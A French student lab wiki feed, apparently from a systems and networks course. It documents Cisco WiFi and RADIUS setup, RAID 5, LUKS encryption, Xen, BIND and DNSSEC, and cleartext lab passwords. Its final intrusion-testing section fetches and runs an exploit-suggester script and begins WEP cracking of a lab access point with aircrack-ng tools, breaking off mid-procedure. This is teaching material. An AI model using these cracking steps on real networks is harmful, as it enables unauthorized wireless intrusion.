 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57832</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57832"/>
				<updated>2022-01-11T14:34:27Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
